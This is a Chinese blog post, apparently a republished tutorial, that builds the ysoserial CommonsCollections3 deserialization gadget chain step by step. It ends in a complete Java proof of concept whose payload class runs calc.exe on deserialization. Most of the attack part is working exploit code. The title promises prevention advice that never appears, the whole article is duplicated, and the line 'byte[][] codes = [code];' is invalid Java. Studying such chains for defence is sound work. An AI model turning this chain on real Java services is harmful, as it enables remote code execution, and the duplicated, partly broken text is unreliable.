Java安全漏洞如何有效防范?

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本文共计1631个文字,预计阅读时间需要7分钟。

Java安全漏洞如何有效防范?

目录 + cc3 使用链接如下:- 一、为构造的恶意字节码文件找一个newInstance启动入口- 二、构造恶意类- 三、加载的字节码类需继承AbstractTranslet- 四、将字节码内容直接赋值给newTransformer

目录
  • cc3利用链如下:
    • 一、为构造的恶意字节码文件找一个newInstance启动入口
      • 构造恶意类:
      • 加载的字节码类需要继承AbstractTranslet
    • 二、将字节码内容直接赋值序列化
      • 三、让newTransformer得到执行

      cc3利用链如下:

      TrAXFilter(Templates templates) TemplatesImpl->newTransformer() TemplatesImpl->getTransletInstance() _class[_transletIndex].newInstance();

      一、为构造的恶意字节码文件找一个newInstance启动入口

      在TemplatesImpl类中的getTransletInstance方法,对 _class[_transletIndex]实现了newInstance()。

      所以如果构造一个恶意类,然后通过类加载器加载,最终通过TemplatesImpl实现这个类的实例化,将实现这个恶意类的初始化执行。

      假设将恶意代码写入这个类的静态代码块中,在这个类被实例化的时候得到执行,以Runtime为例。

      构造恶意类:

      public class Runtimecalc { { Runtime runtime = Runtime.getRuntime(); try { runtime.exec("calc.exe"); } catch (IOException e) { e.printStackTrace(); } } }

      又由于TemplatesImpl类中,getTransletInstance方法属于私有方法,所以需要依赖另一个方法。其中该类的newTransformer()调用了getTransletInstance(),该方法public作用域,可以被外部调用执行。

      public synchronized Transformer newTransformer() throws TransformerConfigurationException { TransformerImpl transformer; transformer = new TransformerImpl(getTransletInstance(), _outputProperties, _indentNumber, _tfactory); if (_uriResolver != null) { transformer.setURIResolver(_uriResolver); } if (_tfactory.getFeature(XMLConstants.FEATURE_SECURE_PROCESSING)) { transformer.setSecureProcessing(true); } return transformer; }

      通过反射给_class和_transletIndex赋值。但是在赋值之前,我们看到getTransletInstance方法对_name也做了判断if (_name == null) return null;,要求不能为空才可以继续执行后面代码,所以还需要通过反射给_name赋值。

      另外需要注意的是由于这里做了一个强转(AbstractTranslet)_class[_transletIndex].newInstance();

      加载的字节码类需要继承AbstractTranslet

      private Translet getTransletInstance() throws TransformerConfigurationException { try { if (_name == null) return null; if (_class == null) defineTransletClasses(); // The translet needs to keep a reference to all its auxiliary // class to prevent the GC from collecting them AbstractTranslet translet = (AbstractTranslet) _class[_transletIndex].newInstance(); translet.postInitialization(); translet.setTemplates(this); translet.setServicesMechnism(_useServicesMechanism); translet.setAllowedProtocols(_accessExternalStylesheet); if (_auxClasses != null) { translet.setAuxiliaryClasses(_auxClasses); } return translet; } catch (InstantiationException e) { ErrorMsg err = new ErrorMsg(ErrorMsg.TRANSLET_OBJECT_ERR, _name); throw new TransformerConfigurationException(err.toString()); } catch (IllegalAccessException e) { ErrorMsg err = new ErrorMsg(ErrorMsg.TRANSLET_OBJECT_ERR, _name); throw new TransformerConfigurationException(err.toString()); } }

      那么假设我们通过反射,直接为_class赋值为一个恶意字节码文件的文件路径。

      然后通过调newTransformer方法实现,就能得到字节码文件的初始化执行。

      TemplatesImpl templates = new TemplatesImpl(); Class templates_cl= Class.forName("com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl"); Field name = templates_cl.getDeclaredField("_name"); name.setAccessible(true); name.set(templates,"xxx"); Field aClass = templates_cl.getDeclaredField("_class"); aClass.setAccessible(true); aClass.set(templates,new Class[]{Runtimecalc.class}); Field transletIndex = templates_cl.getDeclaredField("_transletIndex"); transletIndex.setAccessible(true); transletIndex.set(templates,0); templates.newTransformer();

      二、将字节码内容直接赋值序列化

      字节码文件路径是无法在目标机器得到执行的,所以需要找到其他方法将字节码内容直接赋值序列化

      Runtimecalc.class作为类文件赋值,是无法实现序列化的时候将文件内容直接传入的,这里赋值的只是文件路径。

      所以序列化和反序列化是不成功的。

      我们知道ClassLoader在加载的类的时候,最终是通过defineClass加载字节码文件内容。

      利用这种方式,直接的赋值传参内容是字节码,就可以达到恶意类加载的序列化和反序列化。

      Templateslmpl类中getTransletInstance方法中,在_class[_transletIndex].newInstance()执行前,还有一段如下代码

      if (_class == null) defineTransletClasses()

      假设我们之前不对_class赋值,查看defineTransletClasses做了什么。

      Java安全漏洞如何有效防范?

      private void defineTransletClasses() throws TransformerConfigurationException { //需要给_bytecodes赋值 if (_bytecodes == null) { ErrorMsg err = new ErrorMsg(ErrorMsg.NO_TRANSLET_CLASS_ERR); throw new TransformerConfigurationException(err.toString()); } TransletClassLoader loader = (TransletClassLoader) AccessController.doPrivileged(new PrivilegedAction() { public Object run() { return new TransletClassLoader(ObjectFactory.findClassLoader(),_tfactory.getExternalExtensionsMap()); } }); try { final int classCount = _bytecodes.length; //为_class赋值,长度为_bytecodes的长度 _class = new Class[classCount]; if (classCount > 1) { _auxClasses = new HashMap<>(); } for (int i = 0; i < classCount; i++) { //_bytecodes[0]赋值为字节码内容赋值给_class[0] _class[i] = loader.defineClass(_bytecodes[i]); final Class superClass = _class[i].getSuperclass(); // Check if this is the main class if (superClass.getName().equals(ABSTRACT_TRANSLET)) { _transletIndex = i; } else { _auxClasses.put(_class[i].getName(), _class[i]); } } } }

      private byte[][] _bytecodes = null;

      _bytecodes是一个byte二维数组,我们将byte[]类型的字节码赋值给_bytecodes[0]

      这里就直接赋值字节码内容了

      byte[] code = Files.readAllBytes(Paths.get("D:\\workspace\\javaee\\cc1\\target\\classes\\com\\cc3\\Runtimecalc.class"));

      这样在defineTransletClasses被调用的时候

      执行_class[i] = loader.defineClass(_bytecodes[i]);

      _class[0]将会被赋值为loader.defineClass(code)

      由于_tfactory需要调用,所以给_tfactory也赋值

      最终实现代码如下:

      TemplatesImpl templates = new TemplatesImpl(); Class templates_cl= Class.forName("com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl"); Field name = templates_cl.getDeclaredField("_name"); name.setAccessible(true); name.set(templates,"xxx"); //注释不给_class赋值,满足_class == null,defineTransletClasses得到调用 //Field aClass = templates_cl.getDeclaredField("_class"); //aClass.setAccessible(true); //aClass.set(templates,new Class[]{Runtimecalc.class}); Field transletIndex = templates_cl.getDeclaredField("_transletIndex"); transletIndex.setAccessible(true); transletIndex.set(templates,0); //加载字节码 byte[] code = Files.readAllBytes(Paths.get("D:\\workspace\\javaee\\cc1\\target\\classes\\com\\cc3\\Runtimecalc.class")); byte[][] codes = [code]; //给_bytecodes赋值 Field bytecodes = templates_cl.getDeclaredField("_bytecodes"); bytecodes.setAccessible(true); bytecodes.set(templates,codes); //要顺利执行,_tfactory得赋值,因为defineTransletClasses中调用了_tfactory的getExternalExtensionsMap //_tfactorys是TransformerFactoryImpl类型的 TransformerFactoryImpl transformerFactory = new TransformerFactoryImpl(); Field tfactory = templates_cl.getDeclaredField("_tfactory"); tfactory.setAccessible(true); tfactory.set(templates,transformerFactory); templates.newTransformer();

      三、让newTransformer得到执行

      TrAXFilter类的构造方法会调用newTransformer

      public TrAXFilter(Templates templates) throws TransformerConfigurationException { _templates = templates; _transformer = (TransformerImpl) templates.newTransformer(); _transformerHandler = new TransformerHandlerImpl(_transformer); _useServicesMechanism = _transformer.useServicesMechnism(); }

      TrAXFilter trAXFilter = new TrAXFilter(templates);

      但是TrAXFilter并不实现Serializable接口,无法序列化,需要通过反射调用

      在cc1中反射执行最终是通过InvokerTransformer的transform来实现

      这里用了InstantiateTransformer的transform

      InstantiateTransformer instantiateTransformer = new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates}); instantiateTransformer.transform(TrAXFilter.class);

      剩下的就和cc1一样了

      public class CC3Test3 { public static void main(String[] args) throws Exception { TemplatesImpl templates = new TemplatesImpl(); Class templates_cl= Class.forName("com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl"); Field name = templates_cl.getDeclaredField("_name"); name.setAccessible(true); name.set(templates,"xxx"); Field transletIndex = templates_cl.getDeclaredField("_transletIndex"); transletIndex.setAccessible(true); transletIndex.set(templates,0); byte[] code = Files.readAllBytes(Paths.get("D:\\workspace\\javaee\\cc1\\target\\classes\\com\\cc3\\Runtimecalc.class")); byte[][] codes = [code]; //给_bytecodes赋值 Field bytecodes = templates_cl.getDeclaredField("_bytecodes"); bytecodes.setAccessible(true); bytecodes.set(templates,codes); //要顺利执行,_tfactory得赋值,因为defineTransletClasses中调用了_tfactory的getExternalExtensionsMap //_tfactorys是TransformerFactoryImpl类型的 TransformerFactoryImpl transformerFactory = new TransformerFactoryImpl(); Field tfactory = templates_cl.getDeclaredField("_tfactory"); tfactory.setAccessible(true); tfactory.set(templates,transformerFactory); InstantiateTransformer instantiateTransformer = new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates}); Transformer[] transformerslist = { new ConstantTransformer(TrAXFilter.class), instantiateTransformer, }; ChainedTransformer chainedTransformerruntime = new ChainedTransformer(transformerslist); HashMap hashMap1 = new HashMap(); LazyMap lazyMap = (LazyMap) LazyMap.decorate(hashMap1,chainedTransformerruntime); Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler"); Constructor declaredConstructor = c.getDeclaredConstructor(Class.class, Map.class); declaredConstructor.setAccessible(true); InvocationHandler handler = (InvocationHandler) declaredConstructor.newInstance(Retention.class, lazyMap); Map proxyMap = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(), new Class[]{Map.class}, handler); InvocationHandler handle = (InvocationHandler) declaredConstructor.newInstance(Retention.class, proxyMap); ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("D:\\cc3.ser")); objectOutputStream.writeObject(handle); ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream("D:\\cc3.ser")); objectInputStream.readObject(); } }

      以上就是Java安全 ysoserial CommonsCollections3示例分析的详细内容,更多关于java安全ysoserial CommonsCollections的资料请关注自由互联其它相关文章!

      本文共计1631个文字,预计阅读时间需要7分钟。

      Java安全漏洞如何有效防范?

      目录 + cc3 使用链接如下:- 一、为构造的恶意字节码文件找一个newInstance启动入口- 二、构造恶意类- 三、加载的字节码类需继承AbstractTranslet- 四、将字节码内容直接赋值给newTransformer

      目录
      • cc3利用链如下:
        • 一、为构造的恶意字节码文件找一个newInstance启动入口
          • 构造恶意类:
          • 加载的字节码类需要继承AbstractTranslet
        • 二、将字节码内容直接赋值序列化
          • 三、让newTransformer得到执行

          cc3利用链如下:

          TrAXFilter(Templates templates) TemplatesImpl->newTransformer() TemplatesImpl->getTransletInstance() _class[_transletIndex].newInstance();

          一、为构造的恶意字节码文件找一个newInstance启动入口

          在TemplatesImpl类中的getTransletInstance方法,对 _class[_transletIndex]实现了newInstance()。

          所以如果构造一个恶意类,然后通过类加载器加载,最终通过TemplatesImpl实现这个类的实例化,将实现这个恶意类的初始化执行。

          假设将恶意代码写入这个类的静态代码块中,在这个类被实例化的时候得到执行,以Runtime为例。

          构造恶意类:

          public class Runtimecalc { { Runtime runtime = Runtime.getRuntime(); try { runtime.exec("calc.exe"); } catch (IOException e) { e.printStackTrace(); } } }

          又由于TemplatesImpl类中,getTransletInstance方法属于私有方法,所以需要依赖另一个方法。其中该类的newTransformer()调用了getTransletInstance(),该方法public作用域,可以被外部调用执行。

          public synchronized Transformer newTransformer() throws TransformerConfigurationException { TransformerImpl transformer; transformer = new TransformerImpl(getTransletInstance(), _outputProperties, _indentNumber, _tfactory); if (_uriResolver != null) { transformer.setURIResolver(_uriResolver); } if (_tfactory.getFeature(XMLConstants.FEATURE_SECURE_PROCESSING)) { transformer.setSecureProcessing(true); } return transformer; }

          通过反射给_class和_transletIndex赋值。但是在赋值之前,我们看到getTransletInstance方法对_name也做了判断if (_name == null) return null;,要求不能为空才可以继续执行后面代码,所以还需要通过反射给_name赋值。

          另外需要注意的是由于这里做了一个强转(AbstractTranslet)_class[_transletIndex].newInstance();

          加载的字节码类需要继承AbstractTranslet

          private Translet getTransletInstance() throws TransformerConfigurationException { try { if (_name == null) return null; if (_class == null) defineTransletClasses(); // The translet needs to keep a reference to all its auxiliary // class to prevent the GC from collecting them AbstractTranslet translet = (AbstractTranslet) _class[_transletIndex].newInstance(); translet.postInitialization(); translet.setTemplates(this); translet.setServicesMechnism(_useServicesMechanism); translet.setAllowedProtocols(_accessExternalStylesheet); if (_auxClasses != null) { translet.setAuxiliaryClasses(_auxClasses); } return translet; } catch (InstantiationException e) { ErrorMsg err = new ErrorMsg(ErrorMsg.TRANSLET_OBJECT_ERR, _name); throw new TransformerConfigurationException(err.toString()); } catch (IllegalAccessException e) { ErrorMsg err = new ErrorMsg(ErrorMsg.TRANSLET_OBJECT_ERR, _name); throw new TransformerConfigurationException(err.toString()); } }

          那么假设我们通过反射,直接为_class赋值为一个恶意字节码文件的文件路径。

          然后通过调newTransformer方法实现,就能得到字节码文件的初始化执行。

          TemplatesImpl templates = new TemplatesImpl(); Class templates_cl= Class.forName("com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl"); Field name = templates_cl.getDeclaredField("_name"); name.setAccessible(true); name.set(templates,"xxx"); Field aClass = templates_cl.getDeclaredField("_class"); aClass.setAccessible(true); aClass.set(templates,new Class[]{Runtimecalc.class}); Field transletIndex = templates_cl.getDeclaredField("_transletIndex"); transletIndex.setAccessible(true); transletIndex.set(templates,0); templates.newTransformer();

          二、将字节码内容直接赋值序列化

          字节码文件路径是无法在目标机器得到执行的,所以需要找到其他方法将字节码内容直接赋值序列化

          Runtimecalc.class作为类文件赋值,是无法实现序列化的时候将文件内容直接传入的,这里赋值的只是文件路径。

          所以序列化和反序列化是不成功的。

          我们知道ClassLoader在加载的类的时候,最终是通过defineClass加载字节码文件内容。

          利用这种方式,直接的赋值传参内容是字节码,就可以达到恶意类加载的序列化和反序列化。

          Templateslmpl类中getTransletInstance方法中,在_class[_transletIndex].newInstance()执行前,还有一段如下代码

          if (_class == null) defineTransletClasses()

          假设我们之前不对_class赋值,查看defineTransletClasses做了什么。

          Java安全漏洞如何有效防范?

          private void defineTransletClasses() throws TransformerConfigurationException { //需要给_bytecodes赋值 if (_bytecodes == null) { ErrorMsg err = new ErrorMsg(ErrorMsg.NO_TRANSLET_CLASS_ERR); throw new TransformerConfigurationException(err.toString()); } TransletClassLoader loader = (TransletClassLoader) AccessController.doPrivileged(new PrivilegedAction() { public Object run() { return new TransletClassLoader(ObjectFactory.findClassLoader(),_tfactory.getExternalExtensionsMap()); } }); try { final int classCount = _bytecodes.length; //为_class赋值,长度为_bytecodes的长度 _class = new Class[classCount]; if (classCount > 1) { _auxClasses = new HashMap<>(); } for (int i = 0; i < classCount; i++) { //_bytecodes[0]赋值为字节码内容赋值给_class[0] _class[i] = loader.defineClass(_bytecodes[i]); final Class superClass = _class[i].getSuperclass(); // Check if this is the main class if (superClass.getName().equals(ABSTRACT_TRANSLET)) { _transletIndex = i; } else { _auxClasses.put(_class[i].getName(), _class[i]); } } } }

          private byte[][] _bytecodes = null;

          _bytecodes是一个byte二维数组,我们将byte[]类型的字节码赋值给_bytecodes[0]

          这里就直接赋值字节码内容了

          byte[] code = Files.readAllBytes(Paths.get("D:\\workspace\\javaee\\cc1\\target\\classes\\com\\cc3\\Runtimecalc.class"));

          这样在defineTransletClasses被调用的时候

          执行_class[i] = loader.defineClass(_bytecodes[i]);

          _class[0]将会被赋值为loader.defineClass(code)

          由于_tfactory需要调用,所以给_tfactory也赋值

          最终实现代码如下:

          TemplatesImpl templates = new TemplatesImpl(); Class templates_cl= Class.forName("com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl"); Field name = templates_cl.getDeclaredField("_name"); name.setAccessible(true); name.set(templates,"xxx"); //注释不给_class赋值,满足_class == null,defineTransletClasses得到调用 //Field aClass = templates_cl.getDeclaredField("_class"); //aClass.setAccessible(true); //aClass.set(templates,new Class[]{Runtimecalc.class}); Field transletIndex = templates_cl.getDeclaredField("_transletIndex"); transletIndex.setAccessible(true); transletIndex.set(templates,0); //加载字节码 byte[] code = Files.readAllBytes(Paths.get("D:\\workspace\\javaee\\cc1\\target\\classes\\com\\cc3\\Runtimecalc.class")); byte[][] codes = [code]; //给_bytecodes赋值 Field bytecodes = templates_cl.getDeclaredField("_bytecodes"); bytecodes.setAccessible(true); bytecodes.set(templates,codes); //要顺利执行,_tfactory得赋值,因为defineTransletClasses中调用了_tfactory的getExternalExtensionsMap //_tfactorys是TransformerFactoryImpl类型的 TransformerFactoryImpl transformerFactory = new TransformerFactoryImpl(); Field tfactory = templates_cl.getDeclaredField("_tfactory"); tfactory.setAccessible(true); tfactory.set(templates,transformerFactory); templates.newTransformer();

          三、让newTransformer得到执行

          TrAXFilter类的构造方法会调用newTransformer

          public TrAXFilter(Templates templates) throws TransformerConfigurationException { _templates = templates; _transformer = (TransformerImpl) templates.newTransformer(); _transformerHandler = new TransformerHandlerImpl(_transformer); _useServicesMechanism = _transformer.useServicesMechnism(); }

          TrAXFilter trAXFilter = new TrAXFilter(templates);

          但是TrAXFilter并不实现Serializable接口,无法序列化,需要通过反射调用

          在cc1中反射执行最终是通过InvokerTransformer的transform来实现

          这里用了InstantiateTransformer的transform

          InstantiateTransformer instantiateTransformer = new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates}); instantiateTransformer.transform(TrAXFilter.class);

          剩下的就和cc1一样了

          public class CC3Test3 { public static void main(String[] args) throws Exception { TemplatesImpl templates = new TemplatesImpl(); Class templates_cl= Class.forName("com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl"); Field name = templates_cl.getDeclaredField("_name"); name.setAccessible(true); name.set(templates,"xxx"); Field transletIndex = templates_cl.getDeclaredField("_transletIndex"); transletIndex.setAccessible(true); transletIndex.set(templates,0); byte[] code = Files.readAllBytes(Paths.get("D:\\workspace\\javaee\\cc1\\target\\classes\\com\\cc3\\Runtimecalc.class")); byte[][] codes = [code]; //给_bytecodes赋值 Field bytecodes = templates_cl.getDeclaredField("_bytecodes"); bytecodes.setAccessible(true); bytecodes.set(templates,codes); //要顺利执行,_tfactory得赋值,因为defineTransletClasses中调用了_tfactory的getExternalExtensionsMap //_tfactorys是TransformerFactoryImpl类型的 TransformerFactoryImpl transformerFactory = new TransformerFactoryImpl(); Field tfactory = templates_cl.getDeclaredField("_tfactory"); tfactory.setAccessible(true); tfactory.set(templates,transformerFactory); InstantiateTransformer instantiateTransformer = new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates}); Transformer[] transformerslist = { new ConstantTransformer(TrAXFilter.class), instantiateTransformer, }; ChainedTransformer chainedTransformerruntime = new ChainedTransformer(transformerslist); HashMap hashMap1 = new HashMap(); LazyMap lazyMap = (LazyMap) LazyMap.decorate(hashMap1,chainedTransformerruntime); Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler"); Constructor declaredConstructor = c.getDeclaredConstructor(Class.class, Map.class); declaredConstructor.setAccessible(true); InvocationHandler handler = (InvocationHandler) declaredConstructor.newInstance(Retention.class, lazyMap); Map proxyMap = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(), new Class[]{Map.class}, handler); InvocationHandler handle = (InvocationHandler) declaredConstructor.newInstance(Retention.class, proxyMap); ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("D:\\cc3.ser")); objectOutputStream.writeObject(handle); ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream("D:\\cc3.ser")); objectInputStream.readObject(); } }

          以上就是Java安全 ysoserial CommonsCollections3示例分析的详细内容,更多关于java安全ysoserial CommonsCollections的资料请关注自由互联其它相关文章!